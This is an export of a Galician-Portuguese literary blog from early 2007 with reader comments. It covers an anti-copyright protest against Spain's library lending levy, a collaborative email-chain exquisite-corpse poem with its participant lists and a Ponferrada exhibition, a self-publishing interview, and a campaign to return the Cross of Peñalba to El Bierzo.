----- -------- AUTHOR: Lugris TITLE: Cópia todo o que saibas, todo o que podas, todo o que queiras BASENAME: copia_todo_o_que_saibas_todo_o_que_podas DATE: Thu, 22 Mar 2007 23:28:51 +0000 STATUS: publish PRIMARY CATEGORY: Stop hipocrisia! CATEGORY: TAGS: ----- BODY:Agora que já aprovaram que uns quantos advogados e economistas sem muitos escrúpulos, vam poder viver melhor graças a isso que eles chamam "indústria dos direitos de autor", e que nom é mais que umha forma de conseguir dinheiro sem bater pancada, decido modificar a legenda do meu blogue, e daquel "Alguem sabe como funciona isto?", passamos ao "Defende a cultura:Cópia todo o que saibas, todo o que podas, todo o que queiras".
Já em muitos dos exemplares do Livro das Confusons consta essa palavra de ordem, que me parece hoje mais importante que nunca. A literatura, a cultura, é de todos/as! Digamos nom ao canon polo prestamo de livros.
Hoje já pudemos escuitar à ministra espanhola de incultura, perdom, de cultura (pouca, mas cultura), dizer que "os usuários das bibliotecas nom tenhem de que se preocupar", pois nom vam ter que pagar do seu peto o dinheiro que supom cada préstamo, porque seram as administraçons públicas as que se farám cargo desse pago por prestamo bibliotecário, que se calcula pode situar-se no milhom e meio de euros por ano. Mas é que nos tomam por parvos/as?
E se esse milhom e meio de euros é pagado polas administraçons, donde é que sai o dinheiro? Do peto particular da ministra? Ou do peto de todas e cada umha das pessoas que temos que pagar religiosamente todos os anos os impostos? O que a senhora ministra dijo, ainda que pretendendo dizer o contrário para enganar-nos, é que todos/as, TODAS/OS, usuários/as e nom usuários/as das bibliotecas imos fazer que uns quantos avogados das silveiras, economistas listos e remoras da mesma estirpe podam subir os seus salários a custa das arcas do Estado, quer dizer, a custa do nosso dinheiro.
Mas, durante quanto tempo vam pagar as administraçons esse novo imposto? Durante dous, três, quatro anos? Indefinidamente é evidente que nom.
Se do que se tratava era de dar-lhe um milhom e meio às "entidades gestoras de direitos (exclusivamente económicos) de autor", nom se tinha que ter criado esse novo pagamento. Com dar-lho todos os anos tinham feito.
Mas nom. O que vai acontecer é que dentro de uns quantos anos, as administraçons deixaram de fazer frente a esse pagamento, e serám as bibliotecas as que teram que tirar dinheiro do seu orçamento para pagar. E entom donde vai sair o dinheiro?
Pois, basicamente, de dous sítios:
Primeiro: do recurte de compras de livros. Terám menos dinheiro para comprar livros, porque terám que fazer frente a 20 céntimos por cada livro que prestem. Isso significará que nom comprarám livros "minoritários". Passará, basicamente, e salvando as distáncias, como nas salas de cinema: "ninguem" lhes "obriga" a proxectar practicamente em exclussiva cinema ianqui e anglosaxom, mas esse é o 90% do cinema que se pode ver nas salas comerciais. Ninguem obrigará às bibliotecas a comprar betsellers (que seram as demandas maioritárias, dirám), mas esses serám os livros que veremos nas bibliotecas.
Segundo: do peto dos e das usuárias das bibliotecas, que terám que pagar, mais, por fazer-se sócios/as, terám que pagar (e seguro que mais de 20 céntimos), por cada livro que colham, e terám que pagar (tempo ao tempo) cada vez que entrem numha biblioteca, ainda que só seja para consultar a imprensa do dia. (Por certo, quanto tardaram as associaçons profesionais de jornalistas em pedir um canon por leitura "pública" dos jornais em bares, bibliotecas, etc...?)
Em fim: um novo golpe para a leitura e a cultura. Tendo em conta que as estatísticas dim que a metade da populaçom do Estado espanhol nom lê nada de nada (nem tam sequera os jornais desportivos), umha decissom assim fará aumentar essa percentagem até números que hoje nos pareem impossíveis.
Isso sim: as "entidades de gestiom" poderám organizar (ao igual que a SGAE) congressos, encontros e aburridas tertúlias cada vez mais "cool", mais "fashion" e mais "in", onde gastarám umha parte de todo esse dinheiro recadado sem bater pancada. Actos aos que convidarám a muitos/as escritores, pagando-lhes, generosamente, viagens, deslocamentos, dietas, etc...
Hoje mais que nunca, é preciso desobedecer e saltar-se as leis. CÓPIA! CÓPIA! CÓPIA! Cópia todo o que poidas, todo o que saibas, todo o que queiras!
Copiar é libertar! Viva a fotocópia!
Contra o Copyright, Copyfree!
Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
tócate, sen sabelo, esvara
o conto é decidir cando acabar
un home do sur preguntoulle se quería viaxar
e ela considerou pasos cegos e desertos
Avanzou en círculos, até os límites da súa propia sombra
onde ofereceu a todos a maçã vermelha do seu peito
Igor Lugris
Eugénio Outeiro
Oscar Mourave
lara do ar
María do Cebreiro
Xiana Arias
Eduardo Estévez
Tati Mancebo
Alfredo Ferreiro
Mais um cadáver para a nossa colecçom de cadáveres, mais um cadáver para a Expo Cadáver, a exposiçom internacional de cadáveres esquísitos que celebraremos em Ponferrada, e na que aguardo ver a todas/os, ou a muitos/as, das/os participantes, para que recitemos entre todos os, por agora, 60 cadáveres! que já temos.
Há um cadáver a caminhar pola rede!
Parabéns pola iniciativa: poesía e liberdade em comunidade. Bravo!
----- -------- AUTHOR: Lugris TITLE: Cadáver #10 BASENAME: cadaver_10 DATE: Thu, 22 Mar 2007 00:05:20 +0000 STATUS: publish PRIMARY CATEGORY: Um cadáver na rede CATEGORY: TAGS: ----- BODY:Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
ou uma papoila, talvez, de livro aberto
como dous olhos fechados fitando-me
E a interrogação surge:
O que desejas?
o silêncio abrange todo o espaço
Igual que as nuvens habitam o ceu
e teus olhos polos que elas fogem
cingem ramalhos de metal,
assim crescem os oceanos
com teus berros secos
pedindo umha oportunidade
aos neurónios desarmados
de poder.
Foi quando aquele outro calou,
esmagado pola pouta do urso;
pola unha do galo
polo bico do gorgolo
polo som que só sou
que decidi agarrar-me à luz por decifrar
e recitar negrumes pelos gargalos do riso
Igor Lugris
Eugénio Outeiro
Oscar Mourave
Eugénio Outeiro
Miguel R. Penas
Oscar Mourave
Débora Monnerat
Miguel R. Penas
Igor Lugris
Concha Rousia
José Manuel Barbosa
Paulo Meraio
Concha Rousia
Eugénio Outeiro
Siguem a medrar os cadáveres. Há cinco dias estabilizaram-se em 56, mas hoje chegaram outros três novos, dos que eu nom tinha notícia, com o que já chegamos aos 59: falta um para umha cifra tam redonda como 60.
Quanto à Expo Cadáver, avança a bom ritmo, e resoltas algumhas questons de intendência, parece que todo decorrerá bem e segum o previsto.
Veremo-nos o dia 31 em Ponferrada? Aguardo que sim!
Há umha certa luz incompreensível na distáncia
Semella un alvor chegado doutro mundo
umha mensagem do interior das palavras e a língua
um gatilho de sílabas usadas
a reviver a morte dos silêncios esquecidos
e o louco caminho das inquedanças.
Há na luz umha distante fábrica de incertezas
Igor Lugris
Xavier Queipo
Igor Lugris
Eugénio Outeiro
Concha Rousia
Igor Lugris
Laura Branco
Às vezes, lembro Compostela.
Este video-clip é umha boa forma de percorrer novamente as ruas da nossa cidade.
Há umha certa luz incompreensível na distáncia
unha palabra afogada un sinal ou desexo
que chama por nós en peiraos neboentos
coa voz desacougante e cálida das lumias
luciferes en celo que atoallan a malversación
Igor Lugris
eduardo estévez
Mario Regueira
Gaspar Domínguez
Alfonso Rodríguez
O Cadáver esta vivo!, e caminha por Ponferrada. O Sábado 31 de Março, a partir das 20'30h., em Ponferrada, na Galeria de Arte Dosmilvacas.arte , na rua Avenida de Astorga nº 7, realizaremos umha exposiçom dos Cadáveres realizados, e um recital de poesia onde apresentar esses poemas, e onde qualquer pessoa participante poderá recitar os textos que lhe apeteza compartilhar com nós.
Até o momento, som um total de 56 cadáveres, 56 poemas distintos, o resultado desta experiência, na que tenhem participado já perto de 70 pessoas. Contaremos esse dia com a presência do cantautor Xosé Constenla.
Por suposto, a entrada é livre e gratuita. E desde aqui queremos animar a todas as pessoas participantes na construçom deste cadáver, destes cadáveres, a estar presentes esse dia em Ponferrada para celebrar a boa saúde do nosso cadáver. Viva o Cadáver!
O CADAVER ESTÁ VIVO! VIVA O CADÁVER!
O 28 de Fevereiro, lancou-se na rede a proposta de construçom dum poema colectivo e plural, um ?Cadáver esquisito?, a partir dum primeiro verso que dizia: ?Há umha certa luz incompreensível na distáncia?. Um dia despois, eram já perto de 20 pessoas a participar neste proceso criativo experimental, neste experimento criativo. Dous dias depois, a rede de participantes seguia a se estender, e a dia de hoje, mais dum mês depois da sua posta em marcha, é provável que ainda sigam vivas algumhas das linhas de crescimento a que deu lugar a proposta inicial.
A técnica do ?Cadáver esquisito? consiste em ir acrescentando palavras ou imagens sobre umha primeira proposta, e foi muito empregada polos surrealistas em 1925. O nome provém da primeira frase que surgiu a primeira vez que foi posta em práctica, em franzês: Le cadavre exquis boira du nouveau vin (O cadáver esquisito beberá o vinho novo). A própria literatura, na sua globalidade, nom é mais que um imenso cadáver esquisito, onde cada jogador, a través dos séculos e das culturas, foi fazendo, vai fazendo, seguirá a fazer, a sua aportaçom para essa obra colectiva.
A proposta deu lugar à criaçom de inumeros poemas, todos resultado dum mesmo proceso: cada pessoas participante ia acrescentando um novo verso baixo o poema que lhe chegava. Um só texto, ou diversos textos, escritos por várias pessoas mas sem um só autor ou autora que poda dizer que é seu. Umha demostraçom de que a literatura é de todas/os e de ninguém: um grande trabalho e patrimonio colectivo no que todas as pessoas podem e devem aportar.
As e os participantes nom tinham que ser exclussivamente ?poetas?. Qualquer pessoa podia ser convidada a participar, e cada participante era responsável de fazer crescer, de manter vivo, o cadáver, encaminhando o poema a novos contactos, sempre baixo a ideia de que todas as pessoas somos capazes de ler, escrever e jogar com a literatura, em geral, e com a poesia em particular. Sem limites: nem de tempo, nem de extensom, nem temáticos. O cadáver manteria-se vivo, mantem-se ainda hoje vivo, possivelmente, na medida em que novas pessoas realicem a sua aportaçom. Coa possibilidade, como nom podia ser doutra forma, de botar mao da cópia, o plágio, o calco e a aportaçom inspirada em obras doutras pessoas. Sempre permitindo que umha pessoa poda participar mais dumha vez.
O cadáver ainda está hoje vivo. E esta exposiçom, este recital, é umha mostra disso. Porque a poesia, a literatura, a cultura, é de todos, resultado dum proceso colectivo de criaçom onde todo o mundo participa, onde todas as pessoas podem apropriar-se dela mas nengumha reclamar-se propietário.
Lemo-nos na rede. Vemo-nos na literatura. Omnia sunt comuna!
PARTICIPA COM NÓS O SÁBADO 31 DE MARÇO EM PONFERRADA NESTA FESTA DO DE CELEBRAÇOM DO CADÁVER!
(Encaminha esta mensagem aos teus contactos e difunde-a alá onde consideres oportuno)
----- COMMENT: AUTHOR: Xosé Manuel Meijome [Visitante] DATE: Sun, 01 Apr 2007 05:44:46 +0000 URL: http://kandpalleiro.blogspot.comMágoa; entereime pola impressa o Domingo, esqueciche indicar ata cando vai estar a obra exposta.
----- -------- AUTHOR: Lugris TITLE: Cópiar é libertar BASENAME: copiar_e_libertar DATE: Fri, 09 Mar 2007 18:33:04 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Entrevistarom-me sobre cultura fotocopiada os de Culura Galega, e isto foi, mais ou menos o que digem (ainda que, por respeitar a verdade, eu respondim em norma AGAL).
A poesía en copia
Unha das máis recentes propostas de creación poética reprografiada é a distribución de "O livro das confusons", unha obra que Igor Lugrís oferta de balde desde o seu blog "Ovnis e isoglossas". Segundo figura no propio libro "a ediçom consta de uns quantos exemplares, fotocopiados a mao polo autor". "A técnica, que agora ofrece resultados moi bos e de grande calidade, é unha opción válida, barata e rápida", explica Lugrís. Segundo el, a falta de interese das editoras foi o que o empurrou "novamente" a optar pola autoedición. "A autoedición permitíame controlar todos os aspectos do libro como obxecto: formato, cores, capa, tipo de letra deseño... e tamén a súa distribución. Supón unha grande liberdade non só ser autor dos poemas, senón tamén autor do libro, xa que as fotocopias están feitas por min mesmo, a traballar directamente na máquina". O feito de ser esta unha edición á carta, explica tamén a elección, xa que "permiten ir tirando exemplares segundo os preciso". Polo momento foron como un cento de exemplares, que non é pouco para un libro de poesía e para este sistema de difusión. Lugrís ten claras as posibilidades de futuro deste formato: "se algunha cousa impresa sobrevive a Internet, serán as edicións baratas deste tipo". A impresión de textos descargados na rede e a superación do concepto de copyright e mais da actual "trama chamada industria editorial" están, ao ver deste poeta, estreitamente relacionadas.
Coincido plenamente na necesidade da
autoedición no actual mundo da cultura…
Parabéns pola iniciativa…
parabéns polo livro das confussons. adóroo.
saudiños!!!
Penso que nom esqueço a ninguém, mas pode que algum nome apareza repetido. De todos os cadáveres que até o de agora me chegarom, estes som os nomes das e dos autores/as.
Um cadáver caminha pola rede! Avante!
Igor Lugris
Eduardo Estévez
Elvira Riveiro Tobío
Eugénio Outeiro
Eugénio Outeiro
Miguel R. Penas
Oscar Mourave
Débora Monnerat
Mario Regueira
Gaspar Domínguez
Alfonso Rodríguez
Artur Alonso Novelhe
Xavier Queipo
Séchu Sende
Lara Bacelo
Alberto Lema
Iván Alonso
María do Cebreiro
Xiana Arias
Emma Pedreira
Débora Monnerat
Baldo Ramos
Concha Rousia
Tati Mancebo
Xiana Arias
Eduardo Estévez
Tati Mancebo
Alfredo Ferreiro
Antía Otero
Xavier Vásquez Freire
Ramiro Vidal Alvarinho
José Manuel Barbosa
Iria Veiga
Rubén Ruibal
Sérgio Molina
Daniel Salgado
O Leo
María Alonso Seisdedos
Lara Rozados
O Raúl
Jorge Fernández
Oriana Méndez
Maria Margarida Nogueira dos Santos
Miguel Vento
Ester Vázquez
Gonzalo Mitchell
Brais Mel
Marcos Abalde Covelo
Chelo Suarez
Marta Blanco
Laura Braco
Marcos Abalde Covelo
Gaspar Domínguez
Solange Durães
Alberte Momán
Alfonso Láuzara
Rosanegra
Cruz Martínez
Isabel Rei Sanmartim
Oscar Antón Pérez
Manuelanxo
Joao
Arsenio Iglesias Pazos
Paulo Meraio
Claudia Castro
Veño a achegar agora a miña contribución ó cadáver exquisito. Penso que é unha interesante iniciativa. A ver se conseguimos publicitala máis entre a comunidade blogueira.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 09 Mar 2007 07:26:02 +0000 URL:Nom som Eugénio, som Igor. Mas podes ver mais informaçom sobre o Cadáver dous posts mais abaixo.
----- COMMENT: AUTHOR: gomes [Membro] DATE: Fri, 09 Mar 2007 04:40:14 +0000 URL:Explica-me isso, Eugénio. Isso do cadáver.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Tue, 06 Mar 2007 10:10:20 +0000 URL: http://www.tangaranhovermelho.blogspot.comAlgum sai citado várias vezes…hehehe…foi um experimento divertido e interessante, mas a mim chegou-me ontem um correio do Celso Álvarez-Cáccamo dizendo que por favor nom lhe enviaramos mais cadáveres. Parece que a algum lhe estamos a saturar a conta…
----- -------- AUTHOR: Lugris TITLE: O becho segue a crescer... BASENAME: o_becho_segue_a_crescer DATE: Fri, 02 Mar 2007 14:19:29 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Um cadáver na rede TAGS: ----- BODY:O cadáver medra sem fim... isso é o que dim.
Levamos dous dias e meio, mais ou menos, de cadáver a circular pola rede, e o pequeno bechinho medra sem fim... Já recebeim perto de 30 linhas, mais ou menos diversas, todas diferentes, onde aparecem umha 20 e pico pessoas.
Nom sei o que durará, mas por agora, parece ter umha vitalidade absoluta. Este cadáver está bem vivo!!!
Por agora, há duas linhas que estam a resultar especialmente prolíficas: a comezada polo Eduardo Estévez, que foi o primeiro que respondeu à chamada, quando menos, o primeiro que me respondeu com um novo verso: "unha palabra afogada un sinal ou desexo"; e a do Eugénio Outeiro, que acrescentou o verso: "como umha porta de cristal fechada".
A maior parte dos cadáveres que vou recebendo, o que nom significa que nom haja outros muitos cadáveres por aí circulando dos que ainda nom tivem notícia), parte dumha destas duas linhas. Ainda poderiamos acrescentar que as linhas que mais jogo estam a dar, som algumhas que tenhem esse começo e que mantenhem também os seguintes quatro ou cinco versos, onde podemos atopa a Elvira Riveiro, Miguel R. Penas, Oscar Mourave, Mario Regueira, Sechu Sende, Maria do Cebreiro, Emma Pedreira, Concha Rousia, Tati Mancebo, Ramiro Vidal,... (por citar assim, de memória, aos primeiros e às primeiras que se me venhem à cabeça).
Variedade, pluralidade, igualdade, liberdade, fraternidade... Este cadáver ainda parece ter muito que dizer.
Longa vida ao cadáver! Longa vida à poesia.
----- COMMENT: AUTHOR: punx [Visitante] DATE: Mon, 05 Mar 2007 13:04:31 +0000 URL:Óspero!
Xa comezan a escolmarnos as autoridades!!!
Há umha certa luz incomprensível na distáncia
Um cadaver na rede
Já sabes o que é um ?cadaver exquisito?: esse texto, com vontade literária, escrito a vários maos por diversas pessoas, no que sucessivamente vam aportando novas partes para esse escrito.
A proposta que agora te chega é participar na realizaçom dum plural cadáver esquisito na rede e em rede. A partir dum primeiro verso (?Ha umha certa luz incomprensível na distáncia?), diferentes pessoas iram acrescentando as suas palavras para a construçom dum poema, de muitos poemas. E como? Pola rede, pola internet, por meio dos correios electrónicos.
Este, que é o primeiro envio por correio electrónico, chegará a vários contactos. Se queres participar, terás que, primeiro, acrescentar um novo verso, e, depois, copiar e curtar todo este correio (junto com o verso que tu aportes) e colá-lo num novo envio de correios electrónicos a todos os contactos que tu desejes, sem limite de número, e acrescentando o teu nome. As pessoas que recebam o teu correio, simplesmente deveram fazer novamente o mesmo: aportar um verso, copiar, curtar e colar, e enviar a novos contactos, acrescentando o seu nome baixo o teu.
Qual será o resultado? Pois um bom numero de poemas distintos, ou um só poema extenso, escrito por várias pessoas mas sem um só autor ou autora que poda dizer que é seu. Umha demostraçom de que a literatura é de todos/as e de ninguem, de que é um grande trabalho colectivo no que todas as pessoas aportam, podem e devem aportar.
As únicas condiçons que há nesta rede que começamos a construir, neste proceso de criaçom experimental (ou será processo experimental de criaçom?), som:
- Todas as aportaçons deveram ser feitas em galego-português (independentemente de qualquer normativa).
- Cada vez que algumhas das pessoas que participem aportem o verso número 10, 20 30,..., deverám enviar também ao meu correio electrónico umha cópia do correio (junto com o poema, evidentemente) que enviem aos seus contactos, para ir levando um control do crescimento da rede que colectivamente imos tecendo, e intentar evitar que em algum momento se perda umha das linhas de crescimento do texto.
- Umha mesma pessoa poderá participar quantas vezes desejar nesta construçom em rede, sempre e quando lhe cheguem correios de participaçom. Podem-se, por suposto, enviar corrreios a pessoa que já tenham participado na mesma linha de crescimento ou noutra distinta.
- Os envios nom tenhem porque ser feitos exclussivamente a ?poetas?. Qualquer pessoa com interese pode ser convidada a participar. Durante a Revoluçom Sandinista em Nicarágua, publicavam-se tantos livros de poesia, que havia um piada que dizia: ?Em Nicarágua todo o mundo é poeta até que se demostrar o contrário?. Acreditemos nisso: todas as pessoas somos capazes de ler, escrever e jogar com a poesia, quando menos até que se demostrar o contrário.
- A construçom deste cadaver nom tem limites nem de tempo nem de extensom: mentras haja participantes, o texto seguirá vivo e este e a rede seguiram a medrar. O primeiro envio, ponhamos por exemplo, será feito a 20 pessoas. Essas 20, aportarám o seu verso, e encaminharam a mensagem a outras, digamos também por exemplo, 20 pessoas. Já temos caminhando pola rede 20 ?cadáveres? distintos, 20 linhas de crescimento, que seguiram a medrar e a se multiplicar sem parar, se essa é a vontade das pessoas participantes. Por isso, para que nom se perdam no proceloso mar das redes virtuais, será útil que cada vez que se completem 10, 20, 30,... versos, se faga um envio ao meu correio electrónico (ilugrisarrrobahotmailpontocom) (lembra substituir as palavras arroba e ponto polo seus caracteres).
- Permite-se a cópia, o plágio, o calco, e a aportaçom inspirada em obras doutras pessoas (participantes ou nom nesta rede).
- No momento no que algumha(s) linha(s) de crescimento deste variado, diverso e plural cadáver deixem de medrar, colarei-na(s) no meu blog, e farei um envio com ela(s), deixando que as linhas que ainda sigam activas continuem o seu caminho.
- Quando rematará o proxecto? Nom se sabe. Sempre que haja quando menos umha pessoa que participe, que aporte um novo verso ao cadáver que lhe chegue polos correios, o proxecto sigue vivo. Quando, depois de tempo e tempo, deixe de receber aportaçons, recopilarei todos os textos que me foram chegando, e colarei-nas no blog. Também, no caso de ser possível, procurará-se fazer umha ediçom em papel. Para isso é que se deve aportar o nome das pessoas que vaiam participando: para que depois na ediçom em papel fique constáncia das pessoas que participarom na criaçom do texto.
Ficas portanto convidada, convidado, a participar nesta obra colectiva, que começa agora, ou melhor dito: que começará definitivamente no momento no que acrescentes a tua aportaçom e fagas chegar este correio aos correios que tu desejes.
Lemo-nos na rede. Vemo-nos na literatura. Omnia sunt comuna!
(Escreve a tua aportaçom aquí embaixo)
Ha umha certa luz incomprensível na distáncia
Igor Lugris
----- COMMENT: AUTHOR: Celso [Visitante] DATE: Mon, 21 May 2007 23:31:53 +0000 URL:Igor, no programa “Libro Aberto” da TVG
de hoje 21 de Maio falou-se um chisquinho
do teu cadáver esquisito. Saíam imagens
da página (eu estava a zapear, apanhei
uns segundos do final). O vídeo estará
disponível em WMV aqui:
http://www.crtvg.es/TVG/Videos.asp
Não sei se fazem reemissão do programa.
A min chegoume. Reenvieino. Mais non aparece por ningures. Supoño que haberá camiños que se corten. Os meus deberon cortarse todos.
Participei, aínda que non se vexa.
¿Cantos camiños inacabados se producirán?
Meu deus, que vertixe!
----- COMMENT: AUTHOR: igor [Membro] DATE: Sun, 04 Mar 2007 15:38:43 +0000 URL:Filipa: admite-se participaçom portuguesa e do mundo inteiro, sempre e quando as colaboraçons venham em galego-português. Polo demais, o cadáver nom é meu, e de todos, de todas, e de ninguém. Todo o mundo pode apropriar-se dele, ninguém pode posui-lo.
Avante!
nom sei se gosto da ideia… mas aderim…
afinal espero tenha sucesso…
mas nom sei… tenho dúvidas.
artur
Boa iniciativa.
Recibín unha versión, sumeime á iniciativa e chuzeina. Agardo con ansiedade ver como crece esta obra.
----- COMMENT: AUTHOR: mariademallou [Visitante] DATE: Thu, 01 Mar 2007 11:59:17 +0000 URL: http://casatlantica.blogspot.comunha idea mui bonita igor, no meu correo xa hai catro versións distintas do cadaver;) o animal medra rápido e grande!
un bico
Onte, cara esta mesma hora, mais ou menos (as 8′00 AM), lançamos os primeiros correios do Cadáver na Rede, e colamos neste blog o texto.
Hoje, tenho notícia de, quando menos, 9 linhas vivas deste cadáver, no que já tenhem participado, segum as informaçons que me foram chegando, 15 pessoas (algumhas delas, já aportaram mais dum verso, pois as linhas começam a se mesclar entre os correios dos e das participantes).
Com esta vitalidade, o cadáver será, além de esquisito, longo e feliz.
Avante toda!
Parabéns pola prática da ideia, Igor. Outros também temos pensado nessa ideia mas não tivemos a coragem de a levar para a frente.;-)
Já recebi e já reenviei a muitos contactos.
Muita poesia!
----- COMMENT: AUTHOR: eugeniote [Visitante] DATE: Wed, 28 Feb 2007 11:14:48 +0000 URL: http://extramuros.agal-gz.org/Adorei a ideia. Já recebi e já reenviei. Mas advirto-te que tu és um dos destinatários. Como uma mesma pessoa pode participar várias vezes… ;-).
----- -------- AUTHOR: Lugris TITLE: Aquarela BASENAME: aquarela DATE: Thu, 15 Feb 2007 19:06:26 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Para descansar do mundo, a vida e as preocupaçons durante quatro minutos e 16 deliciosos segundos.
----- COMMENT: AUTHOR: Isabel [Visitante] DATE: Tue, 27 Feb 2007 09:03:59 +0000 URL:Delicioso.
----- -------- AUTHOR: Lugris TITLE: Pola devoluçom do Património Histórico-Artístico berziano! BASENAME: pola_devolucom_do_patrimonio_historico_a DATE: Mon, 29 Jan 2007 07:46:49 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:O Foro Cultural pola Província do Bierzo recolhe assinaturas para recuperar a Cruz de Penalva.
O Foro Cultural pola Provincia do Bierzo, entidade que trabalha em defesa da cultura, identidade história, territorialidade e idiosincrásia da regiom berziana, vem de iniciar umha campanha de recolhida de assinaturas para conseguir a devoluçom da Cruz de Penalva, símbolo do Bierzo que aparece na Bandeira e no Escudo desta nossa regiom.
O Foro informa de que esta iniciativa se insire dentro das suas actividades de denuncia do expólio do património histórico-artístico berziano, e que tem como obxectivo recuperar esta cruz votiva de Ramiro II, datada cara o 940, que foi feita ?dessaparecer? e levada a Leom a meados do século XX por um penitenciário da Catedral de Leom que, posteriormente, chegou a ser Bispo de Astorga.A Cruz, é umha das principais peças históricas das que se reivindica, desde há tempo, a sua devoluçom ao Bierzo por parte de numerosas associaçons e colectivos conscienciados na defesa do património berziano.
O Foro declara que ?resulta muito triste que o Sr. Presidente da Junta (de Castela e Leom), Juan Vicente Herrera, diga que tem muito presentes os museus do Bierzo, ao tempo que possa, diante dumha das principais obras de arte expoliadas?, e que mentres diversas instáncias leonesas protestam da dispersom do seu património por diversos museus e cidades, afanam-se em apresentar como um dos seus principais reclamos turísticos umha peça ?substraida ao Bierzo?.
O Foro insiste em que esta iniciativa nom é negumha reclamaçom partidista, mas umha exigência dos berzianos e as berzianas ante a falta de atençom que a nossa regiom vem sofrendo ao reclamar a devoluçom do património.O seu comunicado remata dizendo: ?Queremos que a Cruz de Penalva e todas as demais peças ROUBADAS ao Bierzo sejam devoltas?.
Já sabes tu bem, caro Taliesim, perdon, Taliesin, que é bem fácil demostrar que o Bierzo nom é Leom, sem necessidade de acudir, por suposto, ao insulto, nem à palavra soez. O que fica por demonstrar, por parte dos leonesistas, é que sem necessidade de botar mao da mentira, do insulto, da tergiversaçom e da xenofóbia antigalega, se poda demostrar que o Bierzo é Leom.
Saúdos.
Vaya por delante que opino que la Cruz de Peñalba debe estar lo más próxima posible a su contexto histórico, siempre y cuando pueda salvaguardarse. Si puede estar en Peñalba de Santiago, lo ideal; si puede estar en el Museo del Bierzo, muy bien y si es en el Museo de León, también bien, pero por este orden.
Lo que no puedo compartir son algunas de las razones expuestas. La Cruz de Peñalba fue donada por Ramiro II a la Iglesia de Peñalba por lo que entiendo que su legítimo propietario es el Obispado de Astorga. Uno de sus obispos lo donó al Museo de León. Lo siento pero no veo por ninguna parte ningún expolio, desaparición o demás. Es decir, que me da pena que la forma de una reivindicación legítima sea el fomento del odio.
La Cruz de Peñalba por ser parte del patrimonio berciano, también lo es del leonés. A no ser que alguien me demuestre, sin necesidad de acudir al insulto, que el Bierzo y León son cosas distintas.
Un saludín desde Santo Tomás
Já está arranjado o do link! Ainda bem!
Pois sim, é muito fácil utilizar a entidade própria e singular do Bérzio quando se trata de valer-se dela como contrapeso às reivindicaçons territoriais da naçom galega, mas depois quando o próprio Bérzio reclama os seus direitos…tratam-no como se for umha colónia!!!
----- -------- AUTHOR: Lugris TITLE: O Livro das Confusons no Diário Cultural da Rádio Galega BASENAME: o_livro_das_confusons_no_diario_cultural DATE: Sun, 28 Jan 2007 16:24:32 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Livros CATEGORY: O Livro das Confusons TAGS: ----- BODY:Durante esta semana, os poemas que se poderam escuitar no Diário Cultural da Rádio Galega, serám os do meu livro "O Livro das Confusons".
Lembra que a Rádio Galega pode-las escuitar nestes pontos do teu dial, ou bem na internet em directo, ou escolhendo o programa que desejar.
Escuitamo-nos nas ondas!
E para rematar, umha ligaçom musical. Que gostedes!
----- -------- AUTHOR: Lugris TITLE: Lugris, apelidos e emigraçom BASENAME: lugris_apelidos_e_emigracom DATE: Thu, 25 Jan 2007 19:50:13 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Navegando pola rede, chego até esta página, do Instituto Nacional (espanhol) de Estatística, na que podes escrever o teu apelido, ou qualquer outro, e mirar a sua distribuiçom geográfica polo estado, tendo em conta bem o lugar de nascimento ou o actual lugar de residência.
Provei com Lugris, e di-me que há 95 pessoas que o tenhem como primeiro apelido (distribuidos principalmente entre a Corunha (78) e Madrid! (13), e outras 135 que o tenhem como segundo apelido, distribuidos novamente entre Corunha (96), Ponte Vedra (8)e Madrid (11). No resto do estado, só haveria 4 pessoas que o levam como primeiro apelido (e eu e Xende somo duas delas , e 20 que o tenhem como segundo apelido.
Curioso!
Depois decidim seguir provando com outros apelidos galegos. E constatei o que já todos sabemos: que há galegos em todas as partes, mas que a emigraçom às grandes cidades também se deixa notar aqui, e depois das quatro "províncias" da Comunidade Autónoma, os lugares onde mais apelidos galegos existem som Madrid e Barcelona, e muitas vezes mesmo por diante dalgumha das "nossas" províncias.
Enviam-me duas ou tres pessoas distintas, um correio para me informar da convocatória por parte da Incomunidade, dum filo-café em Ponferrada, que, coordenado por Deborah Nofret, terá lugar o 24 de Fevereiro, Sábado, a partir das 22:30 horas, no Café de Arlés, na Rua Ancha, nº 18 (zona alta da cidade).
As inscriçons já estam abertas, e deveram ser enviadas para o endereço: incomunidade@yahoo.com.ar, indicando nome, proveniência e área de inscriçom: Pensamento, Performance, Curta-Metragem (máximo: 4m), Poesia, Música, Pintura, Escultura, Instalaçom. Também para o mesmo endereço podem ser enviadas criaçons, nas diversas possibilidades que o suporte blogue admite, para eventual publicaçom.
A dia de hoje, na rede aparecem inscritas: Alexandra Bernardo (São Domingos de Rana, música), Alexandre Teixeira Mendes (Porto, pensamento), Carlos Peres Feio (Carcavelos, poesia-grafite-fotografia), Henrique Dória (Porto, poesia), Igor Lugrís (Cabanas Raras, poesia), Lois Gil Magariños (Rois, poesia), Otília Costa (Maia, teatro), Ramiro Vidal Alvarinho (Oleiros, poesia), Salviano Ferreira (Oliveira do Douro, poesia), Sara Jess (Compostela, cinema).
Veremo-nos lá.
